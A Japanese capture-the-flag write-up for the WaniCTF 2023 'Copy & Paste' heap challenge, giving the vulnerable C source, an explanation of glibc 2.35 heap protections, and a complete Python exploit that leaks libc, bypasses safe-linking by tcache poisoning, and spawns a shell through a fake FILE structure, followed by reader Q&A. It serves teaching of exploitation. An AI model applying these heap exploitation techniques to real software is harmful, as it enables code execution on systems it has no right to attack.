🐊

Copy & Paste - WaniCTF 2023

2023/05/06に公開
7

source code

main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define NOTE_LIST_LEN 16
#define MAX_NOTE_SIZE 4096

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

typedef struct note {
  int size;
  char *ptr;
} note_t;

note_t list[NOTE_LIST_LEN];
note_t copied;

void menu() {
  printf("\n---- memu ----\n");
  printf("1. create note\n");
  printf("2. show note\n");
  printf("3. copy note\n");
  printf("4. paste note\n");
  printf("5. delete note\n");
  printf("6. exit\n");
  printf("--------------\n\n");
}

int get_idx() {
  int idx;
  printf("index: ");
  if ((scanf("%d", &idx) != 1) || idx < 0 || idx >= NOTE_LIST_LEN) {
    printf("Invalid index!\n");
    return -1;
  }
  return idx;
}

int get_size() {
  int size;
  printf("size (0-%d): ", MAX_NOTE_SIZE);
  if ((scanf("%d", &size) != 1) || size < 0 || size > MAX_NOTE_SIZE) {
    printf("Invalid size!\n");
    return -1;
  }
  return size;
}

int is_empty(int idx) {
  int f = (list[idx].ptr == NULL);
  if (f)
    printf("The note is empty!\n");
  return f;
}

void create() {
  int idx, size;
  if ((idx = get_idx()) == -1)
    return;
  if ((size = get_size()) == -1)
    return;
  list[idx].size = size;
  list[idx].ptr = (char *)malloc(list[idx].size);
  memset(list[idx].ptr, 0, list[idx].size);
  printf("Enter your content: ");
  read(0, list[idx].ptr, list[idx].size);
  printf("Done!\n");
}

void show() {
  int idx;
  if ((idx = get_idx()) == -1)
    return;
  if (is_empty(idx))
    return;
  write(1, list[idx].ptr, list[idx].size);
}

void copy() {
  int idx;
  if ((idx = get_idx()) == -1)
    return;
  if (is_empty(idx))
    return;
  copied = list[idx];
  printf("Done!\n");
}

void paste() {
  int idx;
  note_t pasted;
  if ((idx = get_idx()) == -1)
    return;
  if (is_empty(idx))
    return;
  if (copied.ptr == NULL) {
    printf("Please copy a note before pasting!\n");
    return;
  }
  pasted.size = list[idx].size + copied.size;
  if (pasted.size < 0 || pasted.size > MAX_NOTE_SIZE) {
    printf("Invalid size!\nPaste failed!\n");
    return;
  }
  pasted.ptr = (char *)malloc(pasted.size);
  memset(pasted.ptr, 0, pasted.size);
  sprintf(pasted.ptr, "%s%s", list[idx].ptr, copied.ptr);
  free(list[idx].ptr);
  list[idx] = pasted;
  printf("Done!\n");
}

void delete () {
  int idx;
  if ((idx = get_idx()) == -1)
    return;
  if (is_empty(idx))
    return;
  free(list[idx].ptr);
  list[idx].size = 0;
  list[idx].ptr = NULL;
  printf("Done!\n");
}

int main() {
  init();
  int c = 0;

  while (1) {
    menu();
    printf("your choice: ");
    scanf("%d", &c);

    if (c == 1)
      create();
    else if (c == 2)
      show();
    else if (c == 3)
      copy();
    else if (c == 4)
      paste();
    else if (c == 5)
      delete ();
    else if (c == 6)
      return 0;
    else
      printf("Invalid choice!\n");

    scanf("%*[^\n]"); // fflush stdin
  }
  return 0;
}

知識

safe-linking

glibc2.32以降、safe-linkingが導入されている。今回のexploitを書くうえで大事なのはtcacheへの登録処理。tcacheにchunkを登録するtcache_put関数のソースコードは以下。

https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3174

3183行目の以下の処理に注目。

malloc/malloc.c#L3174
  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);

PROTECT_PTRマクロの定義は以下。

malloc/malloc.c#L349
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

つまりchunkAをfreeしてtcacheに登録した場合、chunkA.fdには&chunkA.fdを12bit右シフトした値とtcacheに元々入っている値のxorが入る。これがあるせいでtcache-poisoningするときにアドレスを直接書き込むことができない。

tcacheのセキュリティ機構

tcacheには上のsafe-linkingに加えていくつかのセキュリティ機構がある。まずglibc2.29以降のtcacheではdouble free対策としてchunkのbkメンバがkeyとして使用される。tcacheに格納する際にchunk.bkにkey(ランダムな値)が書き込まれ、tcacheから取り外すときに0で上書きされる。tcacheにchunkを格納する際にchunk.bkにkeyと同じ値が入っている場合はdouble freeされた可能性があるとして対応するtcacheに既にchunkが登録されていないかチェックされる。これがあるのでdouble freeすることが難しくなっている。このチェックを回避するために今回のexploitではfree後のchunk.mchunk_sizeを書き変えている。free後のchunk.bkを上書きすることでも回避できるが、今回の問題では書き込みを行うことが容易ではなかったのでサイズを改竄することにした。

さらにglibc2.30以降、tcacheが空かどうかの判定にtcache_perthread_struct内のcounts配列が用いられるようになった。これがあるので対応するentries配列のメンバがNULLでなくても空と判断される。つまりtcache-poisoningを行う際に以下の手順でやると失敗する。

  • chunkAをfreeしてtcacheに登録。
  • heap overflowやuse after freeでchunkA.fdを任意のアドレスに書き変える。
  • mallocを2回呼び出して2回目のmallocで書き込んだアドレスを得る。

freeによりtcacheに登録しているのは最初の1回だけなので対応するtcacheにはエントリが1つしかないと判断される。このため2回目のmallocでは書き込んだアドレスは返らない。以下のようにすればうまくいく。

  • chunkA, chunkBをfreeしてtcacheに登録。
  • heap overflowやuse after freeでchunkA.fdを任意のアドレスに書き変える。
  • mallocを2回呼び出して2回目のmallocで書き込んだアドレスを得る。

chunkA, chunkBの2つをfreeしているのがポイント。これにより対応するtcacheにはエントリが2つあると判断されるので2回目のmallocで書き込んだアドレスが返る。

chunkの統合処理の際のチェック

chunkをfreeしてunsorted binに入れる際、PREV_INUSEが0の場合は前のchunkと統合する処理が入る。glibc2.29以降、この処理の際に今freeしようとしているchunkのmchunk_prev_sizeと前のchunkのmchunk_sizeが一致するかチェックされるようになった。該当箇所は以下。

https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4600

libc baseをleakするときは上の統合処理を利用して使用中のchunkを未使用として扱わせるのが定石だが、このチェックがあるのでmchunk_prev_sizeの改竄に加えて一つ前のchunkのmchunk_sizeを改竄する必要がある。

get PC control in libc2.35

今回使われているlibcは2.35。libc2.34で__free_hookや__malloc_hookが削除されたのでFSOPを使う。FSOPによるshell起動には_IO_str_overflowを用いる手法があるが、glibc2.28以降は_s._allocatebufferをmallocに置き換えるパッチが適用されたのでこれは使えない。この制限下でshellを起動する手法として_IO_wfile_jumps.__overflowを用いる手法がある。これは以前の記事[1]で真面目に解説したので割愛。

脆弱性

paste関数の以下の部分が脆弱。createでは指定したサイズピッタリまでしか書き込めないがreadが使われているので null terminateされない。 以下の部分では"%s%s"で書き込んでいるのでlist[idx].ptrやcopied.ptrをnull terminateしなければheap overflowを起こせる。さらにsprintfは最後にnull byteを書き込むのでnull byteを書き込める。

main.c
  sprintf(pasted.ptr, "%s%s", list[idx].ptr, copied.ptr);

exploit

https://github.com/RI5255/ctf-writeups/tree/master/2023/wanictf/pwn-copy-paste

前準備

繰り返し使う処理を関数にしておく。

exploit.py
def create(idx :int, size :hex, data: bytes):
    io.sendlineafter(b'your choice: ', b'1')
    io.sendlineafter(b'index: ', str(idx).encode())
    io.sendlineafter(b'size (0-4096): ', str(size).encode())
    io.sendafter(b'Enter your content: ', data.ljust(size, b'\0'))

def show(idx :int):
    io.sendlineafter(b'your choice: ', b'2')
    io.sendlineafter(b'index: ', str(idx).encode())
    return io.recvline()

def copy(idx :int):
    io.sendlineafter(b'your choice: ', b'3')
    io.sendlineafter(b'index: ', str(idx).encode())

def paste(idx :int):
    io.sendlineafter(b'your choice: ', b'4')
    io.sendlineafter(b'index: ', str(idx).encode())

def delete(idx: int):
    io.sendlineafter(b'your choice: ', b'5')
    io.sendlineafter(b'index: ', str(idx).encode())

def ex():
    io.sendlineafter(b'your choice: ', b'6')

攻撃で使うchunkを確保しておく。

exploit.py
create(0, 0x30 - 8, b'')            # A
create(1, 0x420 - 8, b'')           # B
create(2, 0x20 - 8, b'')            # C
create(3, 0x500 - 8, b'')           # D     
create(4, 0xc, b'e' * 0xc)          # E
create(5, 0xc, b'f' * 0xc)          # F
create(6, 0x10, b'g' * 0x10)        # G
create(7, 0x18, b'h' * 0x18)        # H
create(8, 0x440 - 8, b'')           # I
create(9, 0x400, b'j' * 0x400)      # J
create(10, 0x18, b'k' * 0x18)       # K
create(11, 0x20 - 8, b'')           # L
create(12, 0x20 - 8, b'')           # M

libc base leak

まずBをfreeしてunsorted binに入れる。この問題では4096バイトまでmallocできるのでBのサイズをtcacheに入らないサイズ(0x420)にしている。このおかげでtcacheを消費することなく直接unsorted binに入れることができる。

exploit.py
# 1: libc base leak
# Bをfreeしてunsorted binに入れる。
delete(1)

次にDのPREV_INUSEを0にする。まずdelete(2)によりC(size=0x20)をtcache(0x20)に入れている。その後FをcopyしてEにpasteしている。EとFのサイズは0xcなのでpaste関数で0x18バイトmallocされる。これによりCが返り、C.fdにE.fd + F.fdが書き込まれる。書き込まれるのは0x18バイトなのでsprintfによりnull byteが書き込まれ、DのPREV_INUSEが0になる。 この書き込みによりD.mchunk_sizeの下位1byteが0x00になるのでフラグ以外に影響を与えないためにDのサイズを0x500にしている。

exploit.py
# DのPREV_INUSEを0にする。
delete(2)
copy(5)
paste(4) # index4がCになる。この時Eがfreeされる。

次にD.mchunk_prev_sizeを0x440にする。これはD.mchunk_prev_sizeの位置に0x440を書き込むだけ。

exploit.py
# Dのprev_sizeを0x440にする。
delete(4)
create(2, 0x20 - 8, b'a' * 0x10 + pack(0x440))

次にB.mchunk_sizeを0x441にする。

exploit.py
# Bのsizeを0x441にする。
delete(0)
copy(7)
paste(6) # index6がAになる。この時chunkGがfreeされる。

まずdelete(0)によりA(mchunk_size=0x30)をtcache(0x30)に入れている。その後HをcopyしてGにpasteしている。HとGのサイズはそれぞれ0x18, 0x10なのでpaste関数で0x28バイトmallocされる。これによりAが返り、A.fdにG.fd + H.fdが書き込まれる。この時heapは以下のようになっている。(上から順にG, H, I)

0

create時、H.fdに'h' * 0x18を書き込んでいる。これは null terminareされていない。 実際、Hを表示してみると以下のようになる。

1

Hの後ろはI.mchunk_size(=441)なのでsprintfの実行によりA.fdにG.fd(='g'*0x10) + H.fd(='h'*0x18) + 0x441が書き込まれ、B.mchunk_sizeが0x440になる。
この状態でDをfreeする。

exploit.py
# Dをfree
delete(3)

DのPREV_SIZEを0、mchunk_prev_sizeを0x440に改竄しているのでfreeするとunsorted binに入っている Bと統合される。 B.mchunk_sizeを0x440に改竄しているのでチェックに引っ掛かることはない。これによりheapは以下のようになる。

2

B.mchunk_sizeを0x440に改竄して統合しているのでBが0x440+0x500=0x940バイトのfree chunkとして扱われている。この状態で0x420バイトmallocするとBから切り出されて残りがunsorted binにつながる。実際heapを見てみると以下のようになっている。

3

この残りの部分のアドレスはCと同じなのでC.fdをshowで読み出せば&main_arena.bins[0] - 0x10が得られ、そこからlibc baseをleakできる。exploitの対応する部分は以下。

exploit.py
# libc base leak
create(1, 0x420 - 8, b'')
libc_base = unpack(show(2)[:8]) - 0x219ce0
l.address = libc_base
log.info('libc_base = %#016lx'%(libc_base))

FSOP

後はFSOPすれば終わり。_IO_2_1_stderr_や_IO_2_1_stdout_を改竄することも考えたが以下の部分が問題。

main.c#L69
  memset(list[idx].ptr, 0, list[idx].size);
  printf("Enter your content: ");

_IO_2_1_stderr_を改竄するためにはlist[idx].ptrを&_IO_2_1_stderr_にする必要があるがmemsetで0初期化された後にprintfが呼ばれるので死ぬ。そこでheapに偽の_IO_FILE_plus構造体を用意して_IO_list_allに書き込むことにした。

まずこの時点でtcache(0x20)にはG,Eが入っているのでこれを消費しておく。(Eは後で使う。)

exploit.py
create(6, 0x10, b'g' * 0x10)
create(4, 0xc, b'e' * 0xc)

次に0x30バイトのchunkを確保してdeleteしている。これは前のstageでunsorted binに登録したchunkから切り出される。

exploit.py
create(13, 0x30 - 8, b'') # chunkCから切り出される。
delete(13)
# tcahce(0x30): C

実際heapを見てみると以下のようになっている。

4

次に今deleteしてtcache(0x30)にいれたCのfdをleakする。(list[2].ptrはまだ&C.fdになっている)この値はsafe-linkingによって&C.fdを12bit右シフトした値になっている。ここでleakした値をtcahce-posisoningするときに使う。

exploit.py
# leak chunkC.fd to bypass safe-linking
shr12_chunkC = unpack(show(2)[:8])
heap_base    = (shr12_chunkC << 12)
log.info('(&C.fd >>12) = %#016lx'%(shr12_chunkC))
log.info('heap_base = %#016lx'%(heap_base))

次に&I.fdに偽の_IO_FILE_plus構造体を用意する。これは以前の記事で説明した通りなので説明は省略。

exploit.py
# chunkIの位置に_IO_FILE_plus構造体を用意する
delete(8)
system = l.sym['system']
wfile_jumps = l.sym['_IO_wfile_jumps']
chunkI = heap_base + 0xc90

# fake _IO_FILE_plus struct
fake_file = b'  /bin/sh\0' # _flags
fake_file = fake_file.ljust(0xa0, b'\0')
fake_file += pack(chunkI + 0xe0) # _wide_data
fake_file = fake_file.ljust(0xc0, b'\0')
fake_file += p32(1) # _mode
fake_file = fake_file.ljust(0xd8, b'\0')
fake_file += pack(wfile_jumps) # vtable

# fake _IO_wide_data & _IO_jump_t struct
fake_wide_data = pack(0) * 4
fake_wide_data += pack(1) # _IO_write_ptr
fake_wide_data = fake_wide_data.ljust(0x8 * 13, b'\0')
fake_wide_data += pack(system) # __doallocate
fake_wide_data = fake_wide_data.ljust(0xe0, b'\0')
fake_wide_data += pack(chunkI + 0xe0)

create(8, 0x440 - 8, fake_file + fake_wide_data)

後は_IO_list_allに&I.fdを書き込んでexitを呼べばよい。まずL(mchunk_size=0x20)をdeleteしてtcache(0x20)に登録する。

exploit.py
delete(11)
# tcahce(0x20): L
# tcache(0x30): C

その後前と同じ手法でC.mchunk_sizeを0x20に書き変えてdeleteする。

exploit.py
# chunkCのsizeを0x20に書き変える。
delete(1)
copy(10)
paste(9) # index9がBになる。この時Jがfreeされる。

delete(2)
# tcahce(0x20): C -> L
# tcache(0x30): C -> L

次にC.fdを&_IO_list_allに書き変える。safe-linkingをbypassするために前にleakした&C.fd>>12とのxorを取った値を書き込んでいる。

exploit.py
# tcache-poisoning
io_list_all = l.sym['_IO_list_all']
log.info('&_IO_list_all = %#016lx'%(io_list_all))
create(2, 0x30 - 8, pack(io_list_all ^ shr12_chunkC))
# tcache(0x20): C -> &_IO_list_all
# tcahce(0x30): L

この時のbinを見てみると以下のようになっており、攻撃が成功していることが分かる。

5

次にEをdeleteする。

exploit.py
delete(4)
# tcache(0x20): E -> C -> &_IO_list_all

次にE.fdに&I.fdの下位3バイト、C.fdに&I.fdの上位3byte書き込む。

exploit.py
log.info('&chunkI.fd = %#016lx'%(chunkI))
log.info('lower 3byte: %#016lx'%(unpack(pack(chunkI)[:3].ljust(8, b'\0'))))
create(4, 0x4, pack(chunkI)[:3])
# tcache(0x20): C -> &_IO_list_all
log.info('upper 3byte: %#016lx'%(unpack(pack(chunkI)[3:6].ljust(8, b'\0'))))
create(2, 0x4, pack(chunkI)[3:6])
# tcache(0x20): &_IO_list_all

次にCをcopyしてEにpasteしている。CとEのサイズは0x4なのでpaste関数で0x8バイトmallocされる。これにより &_IO_list_allが返る。 &_IO_list_allにはsprintfによりC.fd + E.fdが書き込まれるので &_IO_list_allに&I.fdが書き込まれる。

exploit.py
copy(2)
paste(4)
# tcache(0x20):

createではなくcopy-pasteを使っているのは前述の通りcreateだと以下の部分で_IO_list_allがnullになり次のprintfで死ぬから。

main.c#L69
  memset(list[idx].ptr, 0, list[idx].size);
  printf("Enter your content: ");

最後にexitを呼んでshellを起動する。

exploit.py
ex()

io.interactive()

実際このexplioitを実行するとshellが起動してフラグが取れる。
6

libc base leak(別解)

https://ptr-yudai.hatenablog.com/entry/2023/05/07/004235

競技中には気づけなかったがcopy関数を実行するとcopiedにchunk.fdのアドレスが保持されるのでcopy後にdeleteしてもこのアドレスは使える。なのでcopyした後にdeleteしてpasteを呼べばfreeしたchunkのfdを読み出せる。これを使えばlibc base leakが圧倒的に簡単になる。sprintfが実行される時にindex0のchunkがlarge binに入っていることに注意。

create(0, 0x420 - 8, b'')
create(1, 0x20 - 8, b'')
copy(0)
delete(0)
paste(1)
libc_base = unpack(show(1)[:8]) - 0x21a0d0
log.info('libc_base = %#016lx'%(libc_base))

参考文献

https://smallkirby.hatenablog.com/entry/safeunlinking

脚注
  1. https://zenn.dev/ri5255/articles/dfc517df9467cd#fsop-in-libc2.34 ↩︎

Discussion

YamaguchiYamaguchi

詳細まで書いていただき、大変分かりやすいです。ありがとうございます。
libc base leakの別解のところに出てきている0x21a0d0という値はどこから来たものなのでしょうか?
また、420,20というサイズに関しては、閾値より大きい/小さい適当な数という認識で大丈夫でしょうか?

r1rur1ru

読んでいただきありがとうございます!

ibc base leakの別解のところに出てきている0x21a0d0という値はどこから来たものなのでしょうか?

上のコードのdelete(0)を実行するとheapは以下のようになります。最初のcreateで確保したchunk(mchunk_size=0x420)がfreeされるのでこれがunsorted binに入ります。

0

paste(1)を実行するとpaste関数内でmallocが呼ばれます。この時要求されるサイズは0x420+0x20-0x10=0x430バイトなのでunsorted binに入っているchunkではこの要求に合いません。unsorted binに入っているchunkは(要求サイズに一致しなければ)サイズに応じてlarge binかsmall binの適切な位置に入れられます。なのでpaste関数内のsprintf関数を実行する直前、heapは以下のようになります。

1

次のshow(1)で読み出すのはこのlarge binに入っているchunkのfdです。この値とlibc baseとの差を求めると0x21a0d0となります。

2

また、420,20というサイズに関しては、閾値より大きい/小さい適当な数という認識で大丈夫でしょうか?

はい。その認識で大丈夫です。サイズが0x410以下のchunkはfree時にまず(空きがあれば)tcacheに入ります。サイズが0x420以上であれば無条件にunsorted binに入ります。最初のcreateでサイズを0x420にしているのはchunkをunsorted binに登録するためにmalloc-freeを繰り返してtcacheを消費するという手間を省くためです。次のcreateで確保しているchunkはindex 0のchunkをfreeしたときに、top chunkと結合されることを防ぐためのものです。サイズは何でもいいのでここでは最小のchunkサイズである0x20を指定しています。

YamaguchiYamaguchi

exploitコードで行っている操作の意味が理解できてきました、ありがとうございます。
すみません、0x7f2489b4700というのは何処から得た値なのでしょうか?
また、libc base leakというのはlibc baseを求めるための作業だと思っていたのですが、libc baseはすでに分かっているのでしょうか?

r1rur1ru

0x7f2489b4700というのは何処から得た値なのでしょうか?

gdbで"i proc map"とするとメモリマップを見れます。(pwndbgが入っている場合は"vmmap"でも可)0x7f2489b4700は攻撃コードを動かしているときにこのコマンドで調べたlibcのベースアドレスです。

libc base leakというのはlibc baseを求めるための作業だと思っていたのですが、libc baseはすでに分かっているのでしょうか?

いいえ。分かっていません。ASLRが有効な場合、libc baseは実行するごとに変わります。 上のexploitではlarge binに入っているchunkのfdを読み出していました。この値はlibc内のアドレスになります。具体的には&main_arena.bins[idx] - 0x10になります。(idxはchunkのサイズによって変わります。)libc baseは実行ごとに変わりますが、この値とlibc baseの差は常に一定です。(ランダム化されるのはbase addressだけなので相対位置は変わりません。)なのでこの差を調べておいてleakした値に加減算すればlibc baseが求まります。

YamaguchiYamaguchi

なるほど、ありがとうございます。
zipで与えられたコードを手元で動かしてみることで、baseとlibc内アドレスの差である0x21a0d0という値を予め求めておき、それをexploitコードに組み込むという認識であっていますか?

:: libc素人なので、large binに入っているchunkのfdの(libc baseから見た)相対アドレスが一定という感覚が自分の中に全くなく、多分似た問題に出会ってもこれを使おうという発想が思い浮かびません... この手の問題で自分でlibc baseをleakできるようになるには、もう少し修行が要りそうです(笑)

r1rur1ru

zipで与えられたコードを手元で動かしてみることで、baseとlibc内アドレスの差である0x21a0d0という値を予め求めておき、それをexploitコードに組み込むという認識であっていますか?

はい。その通りです。

libc素人なので、large binに入っているchunkのfdの(libc baseから見た)相対アドレスが一定という感覚が自分の中に全くなく、多分似た問題に出会ってもこれを使おうという発想が思い浮かびません...

本質的なのはランダム化されるのがベースアドレスのみで、相対位置は不変ということです。今回はlarge binに入っているchunkのfdをleakしましたが、large binに入っているchunkのfdじゃなきゃいけないわけではありません。(どこでもいいので)libc内のアドレスをleakできればそこからlibc baseを求められます。例えば今回出題されていた"ret2libc"ではmainのreturn address(_libc_start_main関数内のアドレス)からlibc baseを計算しています。

https://github.com/wani-hackase/wanictf2023-writeup/tree/main/pwn/ret2libc

YamaguchiYamaguchi

なるほど、大変参考になりました。
質問に丁寧に答えてくださり、本当にありがとうございました。